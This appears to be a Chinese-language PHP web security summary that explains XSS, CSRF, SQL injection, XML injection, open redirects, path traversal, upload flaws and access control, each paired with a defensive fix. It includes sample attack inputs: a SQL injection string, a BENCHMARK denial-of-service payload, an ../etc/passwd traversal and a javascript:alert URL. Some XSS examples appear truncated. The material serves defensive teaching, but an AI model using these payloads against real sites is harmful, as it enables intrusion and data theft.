get.php中上述的表单
那么我们提交
www.sectop.com/get.php/“>
那么表单变成
防御方法还是使用htmlspecialchars过滤输出的变量,或者提交给自身文件的表单使用
这样直接避免了$_SERVER[“PHP_SELF”]变量被跨站
下一期 SQL注入攻击
篇5:PHP开发web应用安全总结
XSS跨站脚本
概念:恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的,
危害:
盗取用户COOKIE信息。
跳转到钓鱼网站。
操作受害者的浏览器,查看受害者网页浏览信息等。
蠕虫攻击。
描述:反射型跨站。GET或POST内容未过滤,可以提交JS以及HTML等恶意代码。
代码:
//正常URL
user.php?msg=henhao
//带JS的URL
user.php?msg=
//恶意跳转URL
user.php?msg=
解决方法:
输出过滤,php端输出到view的模板页面上的数据都需要经过过滤:
//输出过滤HTML JS标签
$var = str_replace(array('
$var = addslashes($var);
CSRF跨站攻击
概念:CSRF跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
危害:强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。
例子:
1. 上面是一个图片的html标签,但是src中是一个添加id为123好友的新增好友链接。
2. 恶意用户可以将这段代码植入其它网站网页上面,甚至可以img设置为0,0,让用户不知不觉中点击这个链接,达到用户并不像加这个人好友,但是添加的目的。
3. 当很多人都无意加了id为123这个人为好友的时候,id为123的恶意用户就有权限来查看这些人的信息,甚至可以发送很多恶意的信息,达到恶意用户的目的。
解决方法:
1. /addfriend.php?id=123 使用POST方法会相对安全一点。
2. 采用类似随即码或者令牌的形式,让用户操作唯一性。 (每次用户登录网站随机生成一个token,存放在cookie中,用户的所有操作中都需要经过token验证)
flash安全问题
例子:
images.sohu.com/bill/s2010/liulin/nokia/1602600902.swf?clickthru=javascript.:alert(1)
解决方法:
在网站根目录中,添加crossdomain.xml文件,这个文件主要是控制flash的域访问。
淘宝的:www.taobao.com/crossdomain.xml
sql注入安全问题
概念:所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
危害:
1. 查询数据库中敏感信息。
2. 绕过认证。
3. 添加、删除、修改服务器数据。
4. 拒绝服务。?id=(BENCHMARK(100000000, MD5(RAND()));
例子:
$sql = “SELECT name FROM users WHERE id = '”. $_GET['id'] . “'”;
当ID值为:1’or 1=’1 SQL语句(已测试可以注入):
SELECT name FROM users WHERE id = ‘1’ or 1=’1 ‘
说明:1=1的时候,条件语句WHEREOR之前的不起作用。 ‘的作用是组装SQL语句。
解决方法:
SQL组装的时候,对外部变量以及所有变量都进行过滤:
PHPWIND中,可以用sqlEscape、sqlImplode、sqlSingle、sqlMulti等函数过滤组装。过滤主要是一些’单引号这些可以破坏SQL组装的数据。
/**
* SQL组装-私有SQL过滤
* @param string $val 过滤的值
* @param int $iskey 0-过滤value值,1-过滤字段
* @return string
*/
private function build_escape_single($val, $iskey = 0) {
if ($iskey === 0) {
if (is_numeric($val)) {
return “ '” . $val . “' ”;
} else {
return “ '” . addslashes(stripslashes($val)) . “' ”;
}
} else {
$val = str_replace(array('`', ' '), '', $val);
return ' `'.addslashes(stripslashes($val)).'` ';
}
}
XML注入安全问题
概念:和SQL注入原理一样,XML是存储数据的地方,如果在查询或修改时,如果没有做转义,直接输入或输出数据,都将导致XML注入漏洞,
攻击者可以修改XML数据格式,增加新的XML节点,对数据处理流程产生影响。
危害:
1. 攻击者可以新增XML节点
2. 破坏原来的XML结构,影响业务流程,甚至产生严重的错误。
例子:
$xml = “
需要得到的XML结构:
恶意代码:
user1@a.com
意外的XML文档:
解决方法:
1. 对php处理XML文档的时候,进行标签过滤
2. 尽量减少直接被外部访问到xml文档,可以采用文件名用散列方法等。
url跳转漏洞
概念:Web应用程序接收到用户提交的URL参数后,没有对参数做”可信任URL”的验证,就向用户浏览器返回跳转到该URL的指令。
危害:钓鱼网站
例子:
m.yahoo.cn/log.php?c=web&u=www.163.com
解决方法:
对跳转的php函数进行进一步优化,使页面跳转可以在可信任的范围内。 例如可以有跳转域名白名单方法,这个访问各大公司使用比较多
文件系统跨越漏洞
概念:对文件目录参数没有进行过滤,导致恶意用户可以通过在参数中输入一些执行命令,或者跨越访问的行为,来超出用户的访问权限。
例子:通过一个或多个../跨越目录限制
$fp = fopen(“image/{$_GET['filename']}”, 'r');
Getfile?filename=../../../../etc/passwd
解决方法:
1. 对文本操作的时候一定要谨慎,不可信任
2. 严格使用phpwind中安全类库escapePath函数
系统命令漏洞
概念:用户提交的参数用于执行系统命令的参数。
解决:
1. 谨慎使用系统命令,对使用系统命令的地方需要进行安全评审
2. 对命令语句进行严格过滤
文件上传漏洞
概念:Web应用程序在处理用户上传的文件时,没有判断文件的扩展名是否在允许的范围内,或者没检测文件内容的合法性,就把文件保存在服务器上,甚至上传脚本木马到web服务器上,直接控制web服务器。
情况:
1. 未限制扩展名
2. 未检查文件内容
3. 病毒文件
解决方法:
1. 使用安全的,可信任的上传组件。
2. 检查文件扩展名,保证文件的类型正确。
3. 检查文件内容,保证用户不伪造文件类型。
任意文件下载漏洞
解决方法:
1.Apache虚拟目录指向
2.Java/PHP读取文件
权限控制漏洞
概念:属于业务逻辑上的安全管理。
访问控制:
1. 水平访问:Web应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或判断数据所属人时,从用户提交的request参数(用户可控数据)中,获取了数据所属人id,导致恶意攻击者可以通过变换数据ID,或变换所属人id,修改不属于自己的数据。
2. 垂直访问:由于web应用程序没有做权限控制,或仅仅在菜单上做了权限控制,导致的恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升目的。
存在情况:
1.URL级别的。(例如论坛需要操作评分的时候,有一个提交的URL地址,该地址提交过去,如果不做权限判断,那么恶意用户就可以随意的拿这个URL地址来进行恶意行为)
2. 菜单级别。(会员中心或者后台管理中心,会有菜单,管理员可以看到多个功能,普通管理员只能看到一部分功能。但是如果你对管理员操作的功能区不做权限判断,那么普通管理员只要猜测或者获取管理区的URL,就可以进行管理员操作了)
危害:
1. 属于业务逻辑的漏洞,这些危害性是巨大的,可以让普通用户就可能获取管理员的权限,对网站进行恶意破坏或者做非法行为。
解决方案:
1. 项目先期,做一份详细的权限规划文档。
2. 在开发中严格按照权限文档的要求去做权限。
3. 后期测试需要覆盖权限这一块功能区。
4. 程序员需要经常注意这些方面的要求。
cookie安全设置
解决:
cookie httponly flag : 在用到用户名登陆密码之类的安全性比较高的cookie的时候,可以在cookie中设置httponly属性,该属性只允许php等访问cookie,而不允许js访问。
cookie secure flag : 在涉及到https这样的情况,需要对cookie加密传输,那么可以设置这个属性
session安全
1. SESSION是保存在服务器端的,具有比COOKIE一定的安全性。
2. 使用COOKIE的时候,如果长时间没有动作,可以设置一个时间值,来对COOKIE进行过期。
3. 尽量让用户每次的cookie值都是不同的,这样可以保证cookie被盗取也不能长期使用的问题
作者 initphp的LAMP开源世界
【使用PHP 构建的Web 应用如何避免XSS 攻击脚本安全】相关文章:






文档为doc格式